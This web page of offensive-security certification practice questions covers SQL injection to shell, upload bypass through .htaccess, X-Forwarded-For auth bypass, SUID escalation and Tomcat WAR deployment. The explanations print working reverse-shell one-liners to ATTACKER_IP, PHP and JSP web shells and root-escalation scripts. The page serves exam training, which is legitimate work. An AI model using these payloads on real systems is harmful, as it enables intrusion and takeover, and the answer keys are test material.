Free Offensive Security Vulnerability Analysis and Exploitation Practice Test 2026
Master Vulnerability Analysis and Exploitation with free offensive security practice questions covering identifying vulnerabilities, researching CVEs, using Metasploit, and executing manual and public exploits. Each question includes a detailed explanation — no signup required. This domain accounts for 16% of the mock exam and maps to skills tested across eJPT, OSCP, PNPT, OSWE, and OSEP.
Key Vulnerability Analysis and Exploitation Topics
- CVE Research
- Metasploit
- Manual Exploitation
- Public Exploits
- Payloads
- Exploit Modification
Free Vulnerability Analysis and Exploitation Sample Questions with Answers
Each question below includes 4 answer options, the correct answer, and a detailed explanation from the FlashGenius Offensive Security question bank.
Sample Question 1 — Vulnerability Analysis & Exploitation
You are testing an internal web application running on http://intranet.local:8080. A directory brute-force reveals an admin panel:
/admin/login.php
When you access it, you see a simple login form. You intercept the request in Burp and send it to Repeater. A failed login attempt looks like this:
POST /admin/login.php HTTP/1.1
Host: intranet.local:8080
Content-Type: application/x-www-form-urlencoded
username=admin&password=test123
Response:
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=6t4k3p3q1v4l9s1u9o3m2f7h2;
Content-Type: text/html; charset=UTF-8
Invalid credentials
You run sqlmap with the following command:
sqlmap -u "http://intranet.local:8080/admin/login.php" \
--data "username=admin&password=test123" \
-p username --level 5 --risk 3 --batch
sqlmap reports:
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0 AND error-based' injectable
[INFO] the back-end DBMS is MySQL
You want to obtain a stable interactive shell on the target host. The web server is Linux-based, and you have confirmed that outbound connections to your attacking machine on TCP/443 are allowed. Which of the following is the most appropriate next step to reliably gain a shell using sqlmap’s capabilities?
- A. Use sqlmap with the `--os-shell` option and specify a TCP bind shell payload on port 4444, then connect to it from your machine using `nc intranet.local 4444`.
- B. Use sqlmap with `--os-shell` and `--os-pwn` together, letting sqlmap automatically upload a Meterpreter reverse HTTPS payload to connect back to your handler on port 443.
- C. Use sqlmap with `--os-pwn` and configure a Metasploit multi/handler for `windows/meterpreter/reverse_tcp` on port 443, then let sqlmap handle the payload delivery.
- D. Use sqlmap with `--os-shell` to get an interactive command shell over HTTP, then manually issue a bash one-liner reverse shell to your listener on port 443 for a more stable session. (Correct answer)
Correct answer: D
Explanation: The scenario: you have confirmed a POST parameter `username` is error-based injectable on a Linux web server with MySQL backend. Outbound connections to your attacking machine on TCP/443 are allowed. The goal is a stable interactive shell using sqlmap’s capabilities.
Correct answer: D
Reasoning:
1. sqlmap’s `--os-shell` option, when supported, gives you an interactive pseudo-shell over HTTP by leveraging the SQL injection to execute OS commands. This is often slow and limited, but it’s enough to run a one-liner reverse shell.
2. Since outbound connections to your attacking machine on TCP/443 are allowed, the most reliable approach is to:
- Start a listener on your machine, e.g.:
- `nc -lvnp 443` (traditional netcat)
- or `rlwrap nc -lvnp 443` for a better TTY experience.
- Use `sqlmap --os-shell` to get command execution, then run a reverse shell one-liner such as:
- `bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'`
- Once the reverse shell connects, you can stabilize it (e.g. Python pty, stty, etc.).
3. This chain uses sqlmap’s built-in OS command execution to bootstrap a more stable, direct TCP shell, which is a common real-world technique.
Why the other options are wrong:
A) "Use sqlmap with the `--os-shell` option and specify a TCP bind shell payload on port 4444, then connect to it from your machine using `nc intranet.local 4444`."
- Issues:
- `--os-shell` does not let you directly "specify a TCP bind shell payload"; it gives you an interactive command execution interface over HTTP.
- A bind shell on the target (listening on 4444) may be blocked by internal firewalls or host-based controls, especially in enterprise environments. The scenario explicitly states outbound 443 is allowed, which favors a reverse shell, not a bind shell.
- This answer mixes concepts and overstates what `--os-shell` can configure automatically.
B) "Use sqlmap with `--os-shell` and `--os-pwn` together, letting sqlmap automatically upload a Meterpreter reverse HTTPS payload to connect back to your handler on port 443."
- Issues:
- `--os-shell` and `--os-pwn` are mutually exclusive in practice; `--os-pwn` is for automated exploitation (e.g., Metasploit integration), while `--os-shell` is for interactive command execution. You don’t combine them in the way described.
- sqlmap’s `--os-pwn` feature is limited, often unstable, and not guaranteed to work in modern hardened environments. The question asks for the *most appropriate* and reliable next step; relying on `--os-pwn` automation is less controlled and more brittle than manually triggering a reverse shell via `--os-shell`.
- The answer hand-waves the configuration details (payload selection, handler setup) and assumes sqlmap will "automatically" do everything, which is not realistic exam-grade reasoning.
C) "Use sqlmap with `--os-pwn` and configure a Metasploit multi/handler for `windows/meterpreter/reverse_tcp` on port 443, then let sqlmap handle the payload delivery."
- Issues:
- The target is explicitly described as Linux-based. Using a Windows Meterpreter payload (`windows/meterpreter/reverse_tcp`) is incorrect and would fail.
- Even if `--os-pwn` were used, you would need a Linux-appropriate payload (e.g., `linux/x86/meterpreter/reverse_tcp` or similar), not a Windows one.
- Again, `--os-pwn` is less reliable and more situational than a straightforward reverse shell via `--os-shell`.
Why D is best:
- D uses `--os-shell` for what it’s good at: giving you a way to run arbitrary commands.
- It then uses a standard, exam-relevant technique: manually issuing a reverse shell one-liner to a known-good outbound port (443), which is explicitly allowed.
- This gives you a direct TCP shell that you control, which you can then stabilize (e.g., with:
- `python3 -c 'import pty; pty.spawn("/bin/bash")'`
- `stty raw -echo; fg`
- `export TERM=xterm-256color`
- This reflects realistic, hands-on exploitation logic: use the SQLi to get RCE, then pivot to a more stable shell.
Domain: Vulnerability Analysis & Exploitation
- You identified a SQL injection with sqlmap.
- You selected an appropriate exploitation path (`--os-shell` + manual reverse shell) based on OS, network egress, and tool capabilities.
- You avoided over-reliance on automated Metasploit integration and chose a controlled, realistic attack chain.
Sample Question 2 — Vulnerability Analysis & Exploitation
During an internal penetration test, you discover a legacy file upload feature on http://fileshare.corp.local/upload.php. The application is a PHP-based document management system running on Apache with mod_php on Linux. You intercept an upload request in Burp and see:
POST /upload.php HTTP/1.1
Host: fileshare.corp.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.pdf"
Content-Type: application/pdf
%PDF-1.4 ...
------WebKitFormBoundary--
The server responds:
HTTP/1.1 200 OK
File uploaded successfully: /uploads/2025/12/test.pdf
You try uploading a basic PHP web shell:
<?php system($_GET['cmd']); ?>
as `shell.php`, but receive:
HTTP/1.1 400 Bad Request
Invalid file type. Only PDF and DOCX allowed.
You then upload the same payload as `shell.php.pdf` with Content-Type `application/pdf`. The server responds:
HTTP/1.1 200 OK
File uploaded successfully: /uploads/2025/12/shell.php.pdf
You browse to:
http://fileshare.corp.local/uploads/2025/12/shell.php.pdf
and see the raw PHP code rendered as text, not executed.
You run `gobuster` and discover that the `/uploads` directory has the following Apache configuration (leaked via a backup file `/uploads/.htaccess.bak`):
<Directory "/var/www/html/uploads">
AllowOverride All
</Directory>
# .htaccess in /uploads
<FilesMatch "\\.(php|php5|phtml)$">
Deny from all
</FilesMatch>
AddType application/x-httpd-php .php5 .phtml
Which of the following is the most effective exploitation strategy to obtain remote code execution on this host, given the constraints above?
- A. Upload a file named `shell.phtml` containing the PHP payload, since `.phtml` is mapped to PHP execution via `AddType application/x-httpd-php .php5 .phtml`, then access it directly to execute commands.
- B. Upload a file named `.htaccess` that redefines `AddType application/x-httpd-php .pdf`, then upload `shell.pdf` containing PHP code and access it to execute commands. (Correct answer)
- C. Upload a file named `shell.php5` containing the PHP payload, since `.php5` is mapped to PHP execution via `AddType`, and the file type restriction only checks the MIME type, not the extension.
- D. Use a polyglot PDF/PHP payload in `shell.php.pdf` so that Apache treats it as PHP due to the `.php` substring in the filename, while the application still accepts it as a PDF.
Correct answer: B
Explanation: We have:
- A PHP web app on Apache/mod_php.
- Uploads go to `/uploads/2025/12/` and are web-accessible.
- Server-side validation: "Only PDF and DOCX allowed" based on filename extension and/or Content-Type.
- Upload of `shell.php` is blocked; `shell.php.pdf` is allowed but served as text.
- `.htaccess.bak` reveals:
<Directory "/var/www/html/uploads">
AllowOverride All
</Directory>
# .htaccess in /uploads
<FilesMatch "\\.(php|php5|phtml)$">
Deny from all
</FilesMatch>
AddType application/x-httpd-php .php5 .phtml
Key points:
- Apache is configured to *deny* access to files ending in `.php`, `.php5`, or `.phtml` via `<FilesMatch>`.
- `.php5` and `.phtml` are mapped to PHP execution, but they are also blocked by `<FilesMatch>`.
- Only PDF and DOCX are allowed by the application, but we successfully uploaded `shell.php.pdf` with `application/pdf`.
- `AllowOverride All` means `.htaccess` files inside `/uploads` can override directives, including `FilesMatch` and `AddType`.
Correct answer: B
Reasoning for B:
1. Because `AllowOverride All` is set for `/var/www/html/uploads`, any `.htaccess` file inside `/uploads` (or its subdirectories) can change Apache behavior.
2. The current `.htaccess` blocks `.php`, `.php5`, `.phtml` and maps `.php5` and `.phtml` to PHP. We want to:
- Avoid the `<FilesMatch "\\.(php|php5|phtml)$"> Deny from all </FilesMatch>` restriction.
- Make an allowed extension (e.g., `.pdf`) be treated as PHP.
3. A common exploitation pattern:
- Upload a malicious `.htaccess` file that contains something like:
AddType application/x-httpd-php .pdf
<FilesMatch "\\.pdf$">
Require all granted
</FilesMatch>
- Or simply:
RemoveHandler .pdf
AddType application/x-httpd-php .pdf
- This tells Apache to interpret `.pdf` files as PHP scripts.
4. Then upload `shell.pdf` containing:
<?php system($_GET['cmd']); ?>
and access:
http://fileshare.corp.local/uploads/2025/12/shell.pdf?cmd=id
Apache will now execute the PHP code inside the `.pdf` file, giving you RCE.
5. This strategy directly leverages the discovered misconfiguration (`AllowOverride All` + uploadable `.htaccess`) and the allowed file types (PDF/DOCX) to bypass the extension-based restrictions.
Why the other options are wrong:
A) "Upload a file named `shell.phtml` containing the PHP payload, since `.phtml` is mapped to PHP execution via `AddType application/x-httpd-php .php5 .phtml`, then access it directly to execute commands."
- Problem 1: The application already rejected `shell.php` with "Invalid file type. Only PDF and DOCX allowed." It is very likely validating the extension and will also reject `.phtml`.
- Problem 2: Even if you somehow uploaded `shell.phtml`, the `.htaccess` has:
<FilesMatch "\\.(php|php5|phtml)$">
Deny from all
</FilesMatch>
This denies HTTP access to `.phtml` files entirely, so you couldn’t reach it via the browser.
- Therefore, this does not lead to exploitable RCE.
C) "Upload a file named `shell.php5` containing the PHP payload, since `.php5` is mapped to PHP execution via `AddType`, and the file type restriction only checks the MIME type, not the extension."
- Problem 1: The scenario shows the application rejects `shell.php` based on extension; it’s unrealistic to assume it *only* checks MIME type for `.php5` but not for `.php`. Most such filters check the extension string and would also reject `.php5`.
- Problem 2: Even if you bypassed the upload filter, `.php5` is also matched by:
<FilesMatch "\\.(php|php5|phtml)$">
Deny from all
</FilesMatch>
So Apache would deny access to `shell.php5` as well.
- Thus, you cannot execute it via HTTP.
D) "Use a polyglot PDF/PHP payload in `shell.php.pdf` so that Apache treats it as PHP due to the `.php` substring in the filename, while the application still accepts it as a PDF."
- Apache’s handler selection is based on the *final* extension, not substrings in the middle of the filename.
- `shell.php.pdf` is treated as `.pdf`, not `.php`.
- The existing `.htaccess` only maps `.php5` and `.phtml` to PHP, not `.pdf`.
- Therefore, Apache will continue to treat `shell.php.pdf` as a regular file (likely served as text or downloaded), not as PHP code, regardless of polyglot tricks.
- Without changing the server configuration (e.g., via `.htaccess`), this will not execute.
Why B is the most effective and realistic:
- It uses a classic and exam-relevant technique: abusing `AllowOverride All` and uploadable `.htaccess` to change how Apache interprets extensions.
- It aligns with the constraints:
- Only PDF/DOCX allowed → we make `.pdf` executable.
- `.php`, `.php5`, `.phtml` blocked → we avoid them entirely.
- It produces a clear RCE path:
1. Upload malicious `.htaccess` to `/uploads/2025/12/.htaccess`.
2. Upload `shell.pdf` with PHP code.
3. Access `shell.pdf?cmd=...` to execute commands.
Domain: Vulnerability Analysis & Exploitation
- You analyzed server-side validation, Apache configuration, and extension handling.
- You selected a realistic exploitation chain: config abuse (`.htaccess`) → web shell execution.
- This reflects OSWE/OSEP-style reasoning about web server behavior and upload misconfigurations.
Sample Question 3 — Vulnerability Analysis & Exploitation
You are testing an internal web application running on http://10.10.20.15:8080. A directory brute-force reveals an admin panel at /admin. When you browse to it, you see:
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Restricted Area"
You capture the following request/response in Burp Repeater:
GET /admin HTTP/1.1
Host: 10.10.20.15:8080
User-Agent: Mozilla/5.0
Accept: */*
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm="Restricted Area"
You run Nmap with default scripts and version detection:
nmap -sV -sC -p8080 10.10.20.15
PORT STATE SERVICE VERSION
8080/tcp open http Jetty 9.4.z-SNAPSHOT
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ Basic realm=Restricted Area
You also run a quick Hydra brute-force:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.20.15 http-get \
"/admin:Authorization=Basic ^USER^:^PASS^"
Hydra completes with no valid credentials found. However, during manual testing you notice that if you send this request:
GET /admin HTTP/1.1
Host: 10.10.20.15:8080
Authorization: Basic YWRtaW46YWRtaW4=
X-Forwarded-For: 127.0.0.1
You receive:
HTTP/1.1 200 OK
...
<h1>Admin Dashboard</h1>
Which of the following is the most accurate explanation of the vulnerability and the best exploitation approach to maintain reliable access?
- A. The application is vulnerable to HTTP Basic authentication brute-force; you should improve your Hydra command by adding -t 64 and a larger wordlist to eventually guess the correct password.
- B. The application is misconfigured to trust the X-Forwarded-For header as a source of client IP for access control; you can bypass the authentication by spoofing 127.0.0.1 and then create a new admin user from the dashboard. (Correct answer)
- C. The Jetty server has a known CVE that allows bypassing Basic authentication when the Authorization header is combined with X-Forwarded-For; you should search for a Metasploit module targeting Jetty 9.4.z-SNAPSHOT.
- D. The server is vulnerable to HTTP request smuggling; you should craft a CL.TE desync attack using a proxy to poison the front-end cache and obtain the admin session cookie.
Correct answer: B
Explanation: The behavior clearly indicates an IP-based access control that is being incorrectly enforced using a client-controlled header.
Key observations:
- Normal request to /admin returns 401 with WWW-Authenticate: Basic realm="Restricted Area".
- Brute-force with Hydra fails to find valid credentials.
- When you send Authorization: Basic YWRtaW46YWRtaW4= (admin:admin) together with X-Forwarded-For: 127.0.0.1, you get HTTP/1.1 200 OK and access to the Admin Dashboard.
- 127.0.0.1 is the loopback address, commonly used in misconfigured "only allow localhost" admin panels.
This strongly suggests the backend logic is something like:
if client_ip == "127.0.0.1":
// bypass or relax auth
allow_admin()
else:
require_basic_auth()
and the application is deriving client_ip from X-Forwarded-For (XFF) without a trusted reverse proxy enforcing it. This is a classic access control misconfiguration / auth bypass via spoofed XFF.
Why B is correct:
- It correctly identifies that the vulnerability is an IP-based access control relying on X-Forwarded-For.
- It correctly states that spoofing 127.0.0.1 in X-Forwarded-For bypasses the intended restriction.
- It suggests a realistic exploitation path: use the admin dashboard to create a persistent admin user or otherwise maintain access.
- This aligns with modern web exploitation: abusing trust in XFF / X-Real-IP when no proper proxy chain or WAF is enforcing them.
Why A is wrong:
- Hydra already brute-forced with a common username (admin) and rockyou; while not exhaustive, the key point is that the password is actually trivial (admin) but still only works when combined with XFF=127.0.0.1.
- The success is not due to brute-forcing but due to IP-based trust. Increasing -t or wordlist size misses the core vulnerability.
- The fact that admin:admin only works with XFF=127.0.0.1 shows that credentials alone are not the main control.
Why C is wrong:
- There is no evidence of a specific Jetty CVE being exploited here. The behavior is entirely explained by application-level logic trusting XFF.
- Jetty 9.4.z-SNAPSHOT is a generic version string; no specific CVE is indicated.
- Metasploit modules for Jetty typically target deserialization or path traversal, not Basic auth bypass via XFF.
Why D is wrong:
- HTTP request smuggling (CL.TE, TE.CL) involves front-end/back-end desync, chunked encoding, and poisoning subsequent requests.
- The scenario shows a direct, single-request behavior change based solely on X-Forwarded-For, with no evidence of multiple hops or desync.
- No TE or Content-Length headers are shown; nothing suggests a smuggling context.
Practical exploitation approach:
- Use Burp Repeater or curl to consistently send:
curl -i -H "X-Forwarded-For: 127.0.0.1" \
-H "Authorization: Basic YWRtaW46YWRtaW4=" \
http://10.10.20.15:8080/admin
- Once inside, look for functionality to:
- Create a new admin user with a known password.
- Upload a web shell or change configuration.
- Extract API keys or database credentials.
- Document this as an authentication bypass via untrusted client IP header (X-Forwarded-For) and recommend enforcing IP checks at a trusted reverse proxy or ignoring client-supplied IP headers.
Sample Question 4 — Vulnerability Analysis & Exploitation
During an internal assessment, you compromise a low-privilege shell on a Linux web server (Ubuntu 20.04). You run a quick enumeration script and find the following SUID binaries:
$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/local/bin/backup
You inspect /usr/local/bin/backup:
$ ls -l /usr/local/bin/backup
-rwsr-xr-x 1 root root 16728 Oct 1 10:12 /usr/local/bin/backup
$ file /usr/local/bin/backup
/usr/local/bin/backup: setuid ELF 64-bit LSB pie executable, x86-64, dynamically linked
$ strings /usr/local/bin/backup | head -n 20
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
puts
__cxa_finalize
__libc_start_main
/tmp/backup.sh
/bin/sh
Backup complete!
You run the binary:
$ /usr/local/bin/backup
sh: 0: can't open /tmp/backup.sh
Backup complete!
/tmp is world-writable and currently empty. Which of the following is the most reliable exploitation path to gain a root shell?
- A. Create /tmp/backup.sh with a reverse shell one-liner, make it executable, then run /usr/local/bin/backup to execute it as root via the SUID bit. (Correct answer)
- B. Use LD_PRELOAD to hijack the system() call used by /usr/local/bin/backup and execute /bin/bash as root by setting LD_PRELOAD=/tmp/root.so before running the binary.
- C. Overwrite /usr/local/bin/backup with your own ELF binary that spawns /bin/bash, since you can execute it and it has the SUID bit set.
- D. Exploit a race condition in /tmp by creating a symlink from /tmp/backup.sh to /etc/shadow, causing the SUID binary to overwrite /etc/shadow and then reset the root password.
Correct answer: A
Explanation: The SUID binary /usr/local/bin/backup is owned by root and attempts to execute /tmp/backup.sh using /bin/sh, as indicated by the strings output:
- "/tmp/backup.sh"
- "/bin/sh"
- "system"
This strongly suggests the code is roughly:
int main() {
system("/bin/sh /tmp/backup.sh");
puts("Backup complete!\n");
}
When you run it, you see:
sh: 0: can't open /tmp/backup.sh
Backup complete!
This confirms it is trying to execute /tmp/backup.sh and failing because the file does not exist. Since /tmp is world-writable, you can create /tmp/backup.sh with arbitrary commands. Because /usr/local/bin/backup is SUID root, those commands will run with effective UID 0.
Why A is correct:
- It uses the intended behavior: the SUID binary executes /tmp/backup.sh via /bin/sh.
- /tmp is world-writable, so you can create /tmp/backup.sh as an unprivileged user.
- The script will run as root when invoked through the SUID binary.
- A typical exploitation sequence:
echo '#!/bin/sh' > /tmp/backup.sh
echo 'chmod +s /bin/bash' >> /tmp/backup.sh
chmod +x /tmp/backup.sh
/usr/local/bin/backup
# Now /bin/bash is SUID root
/bin/bash -p
or directly:
echo '#!/bin/sh' > /tmp/backup.sh
echo '/bin/bash -p' >> /tmp/backup.sh
chmod +x /tmp/backup.sh
/usr/local/bin/backup
- This is a classic SUID + world-writable script path privilege escalation.
Why B is wrong:
- SUID binaries ignore LD_PRELOAD and most LD_* variables for security reasons (unless specifically misconfigured with ld.so options).
- On a standard Ubuntu 20.04 system, setting LD_PRELOAD=/tmp/root.so will be ignored when executing a SUID binary.
- There is no indication of any special loader configuration that would allow LD_PRELOAD to affect this SUID binary.
Why C is wrong:
- You do not have write permissions on /usr/local/bin/backup; it is owned by root:root and only has -rwsr-xr-x.
- Being able to execute a SUID binary does not imply you can overwrite it.
- Without root or another misconfiguration (e.g., world-writable binary), you cannot replace the file.
Why D is wrong:
- The binary is trying to *read* /tmp/backup.sh ("sh: 0: can't open /tmp/backup.sh"), not write to it.
- Creating a symlink from /tmp/backup.sh to /etc/shadow would cause /bin/sh to attempt to *execute* /etc/shadow as a script, which will fail, not overwrite it.
- There is no evidence of a write operation or race condition; the behavior is a straightforward system("/bin/sh /tmp/backup.sh").
This scenario tests recognizing a classic SUID misconfiguration: a root-owned SUID binary executing a script from a world-writable location. The most reliable and realistic exploitation is to place a malicious script at that path and invoke the SUID binary.
Sample Question 5 — Vulnerability Analysis & Exploitation
You are performing an external web application test against https://app.corp.local. Directory enumeration reveals a hidden endpoint:
https://app.corp.local/api/debug
When accessed with a normal browser request, it returns:
HTTP/1.1 403 Forbidden
X-Debug: disabled
You capture the following request in Burp and send it to Repeater:
GET /api/debug HTTP/1.1
Host: app.corp.local
User-Agent: Mozilla/5.0
Accept: */*
Response:
HTTP/1.1 403 Forbidden
X-Debug: disabled
You run Nmap with HTTP scripts:
nmap -p443 --script http-headers,http-methods -sV app.corp.local
PORT STATE SERVICE VERSION
443/tcp open https nginx 1.24.0
| http-methods:
| Supported Methods: GET POST HEAD OPTIONS
|_ Potentially risky methods: TRACE
| http-headers:
| Server: nginx/1.24.0
| X-Env: prod
|_ X-Forwarded-Proto: https
While fuzzing headers with Burp Intruder, you discover that adding a specific header changes the behavior:
GET /api/debug HTTP/1.1
Host: app.corp.local
User-Agent: Mozilla/5.0
Accept: */*
X-Env: dev
Response:
HTTP/1.1 200 OK
X-Debug: enabled
Content-Type: application/json
{
"env": "dev",
"debug": true,
"cmd": "whoami",
"output": "www-data\n"
}
You then send this request:
POST /api/debug HTTP/1.1
Host: app.corp.local
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: application/json
X-Env: dev
{"cmd": "id"}
Response:
HTTP/1.1 200 OK
Content-Type: application/json
{
"env": "dev",
"debug": true,
"cmd": "id",
"output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"
}
Which of the following is the most accurate description of the vulnerability and the best next step to obtain a stable reverse shell?
- A. The endpoint is vulnerable to reflected XSS via the cmd parameter; you should inject a JavaScript payload into cmd to steal admin cookies and then log in as admin.
- B. The endpoint exposes an unauthenticated OS command execution feature gated only by a header-based environment switch; you should use cmd to execute a bash one-liner that connects back to your listener for a reverse shell. (Correct answer)
- C. The endpoint is vulnerable to SQL injection via the cmd parameter; you should use UNION-based injection in cmd to dump the users table and crack password hashes offline.
- D. The endpoint is vulnerable to XML External Entity (XXE) injection; you should send an XML payload in cmd that reads /etc/passwd via an external entity and exfiltrates it over DNS.
Correct answer: B
Explanation: The /api/debug endpoint clearly executes arbitrary OS commands provided in the JSON body under the cmd field when the X-Env header is set to dev.
Evidence:
- GET /api/debug with X-Env: dev returns:
{
"env": "dev",
"debug": true,
"cmd": "whoami",
"output": "www-data\n"
}
- POST /api/debug with {"cmd": "id"} and X-Env: dev returns:
{
"cmd": "id",
"output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"
}
This is direct OS command execution (RCE) exposed over HTTP, gated only by a header (X-Env) that the client fully controls. There is no authentication or authorization shown.
Why B is correct:
- It correctly identifies that this is an unauthenticated RCE endpoint controlled by the cmd parameter.
- It notes that the only gate is a header-based environment switch (X-Env: dev), which is trivially spoofable.
- The best next step in a real-world pentest is to upgrade from command-by-command execution to a stable reverse shell.
- A typical exploitation payload (Linux + bash) using this endpoint:
POST /api/debug HTTP/1.1
Host: app.corp.local
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: application/json
X-Env: dev
{"cmd": "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"}
Then on your machine:
nc -lvnp 4444
- Alternatively, if bash is restricted, you could try:
{"cmd": "python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")'"}
- This aligns with modern exploitation: identify RCE, then establish an interactive shell for further post-exploitation.
Why A is wrong:
- There is no evidence of HTML or JavaScript context; the endpoint returns JSON with command output, not rendered HTML.
- cmd is clearly interpreted as an OS command, not reflected into a web page.
- This is not an XSS scenario; it is server-side command execution.
Why C is wrong:
- The cmd parameter is being executed as a shell command (whoami, id), not as part of an SQL query.
- The output shows OS-level information (uid=33(www-data)), not database errors or query results.
- There is no indication of SQL syntax or database interaction.
Why D is wrong:
- XXE requires XML parsing; here, the Content-Type is application/json and the body is JSON.
- cmd is a string interpreted as a shell command, not XML.
- There is no evidence of XML entities or external DTDs.
This question tests your ability to:
- Recognize header-based environment switches that expose dangerous debug functionality.
- Identify unauthenticated RCE via a JSON API.
- Move from single-command execution to a stable reverse shell using realistic one-liners.
In a report, you would describe this as: "Unauthenticated Remote Code Execution via Debug Endpoint and Header-Based Environment Switch" and recommend removing or strictly restricting /api/debug, and never gating dangerous functionality solely on client-controlled headers.
Sample Question 6 — Vulnerability Analysis & Exploitation
You are testing an internal web application running on http://10.10.20.15:8080. A quick nmap scan shows:
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat 9.0.65
You browse to /manager/html and see the Tomcat Manager login page. After some password spraying, you successfully authenticate with:
Username: tomcat
Password: tomcat
Inside the Manager, you see that WAR deployment is enabled. The target is a hardened environment with strict egress filtering (no outbound connections allowed). Your goal is to obtain a stable interactive shell on the host.
Which approach is the MOST reliable and realistic for gaining a shell in this situation?
- A. Generate a reverse TCP WAR payload with msfvenom and deploy it via the Tomcat Manager, then connect back with multi/handler.
- B. Generate a WAR that contains a JSP web shell (e.g., cmd.jsp) using msfvenom or a custom JSP, deploy it, and interact with it over HTTP to execute commands. (Correct answer)
- C. Use Metasploit’s exploit/multi/http/tomcat_mgr_upload module with a generic reverse HTTPS payload and rely on Tomcat to bypass egress filtering.
- D. Upload a WAR containing a Python reverse shell script and execute it via the browser, assuming Python is installed on the server.
Correct answer: B
Explanation: Because outbound connections are blocked, reverse shells (A, C, D) are unreliable. You need a payload that works over an inbound channel you already control: HTTP to port 8080.
Why B is correct:
- A JSP web shell (e.g., cmd.jsp) embedded in a WAR runs entirely over HTTP(S) on the existing web port.
- You can generate a minimal JSP shell manually or with tools, for example:
```jsp
<%@ page import="java.io.*" %>
<html><body>
<form method="GET">
<input type="text" name="cmd" />
<input type="submit" value="Run" />
</form>
<pre>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = br.readLine()) != null) out.println(s+"\n");
}
%>
</pre>
</body></html>
```
- Package this into a WAR (e.g., `cmd.war`), upload via Tomcat Manager, then access `http://10.10.20.15:8080/cmd/cmd.jsp?cmd=id` to execute commands.
- You can then upgrade to a pseudo-interactive shell using techniques like:
- `cmd=python3 -c 'import pty,os; pty.spawn("/bin/bash")'` (if Python exists)
- or use socat/nc bind shells if allowed.
Why A is wrong:
- A reverse TCP WAR payload (e.g., `msfvenom -p java/jsp_shell_reverse_tcp`) requires the target to connect back to your listener.
- The scenario explicitly states strict egress filtering with no outbound connections allowed, so the reverse shell will fail.
Why C is wrong:
- `exploit/multi/http/tomcat_mgr_upload` automates what you already did manually (auth + WAR upload).
- Using a reverse HTTPS payload still requires outbound connectivity from the target to your C2.
- Tomcat does not magically bypass egress filtering; outbound traffic is still blocked by network controls.
Why D is wrong:
- A Python reverse shell again relies on outbound connectivity.
- It also assumes Python is installed and in PATH, which is not guaranteed on a hardened server.
- Even if Python is present, the reverse connection will be blocked by the egress rules.
The most realistic and reliable method in this constrained environment is an HTTP-based JSP web shell deployed via the Tomcat Manager.
Offensive Security Prep Pack Overview
- Questions: 80 in a full mock exam (200+ in the bank)
- Time: 120 minutes for the full mock
- Target score: 80%+
- Domains: 10 (this is 16% of the exam)
- Aligned certs: eJPT, OSCP, PNPT, OSWE, OSEP
Other Offensive Security Domains
Start the free offensive security Vulnerability Analysis and Exploitation practice test now | 10-question quick start | All offensive security domains | All Sample Tests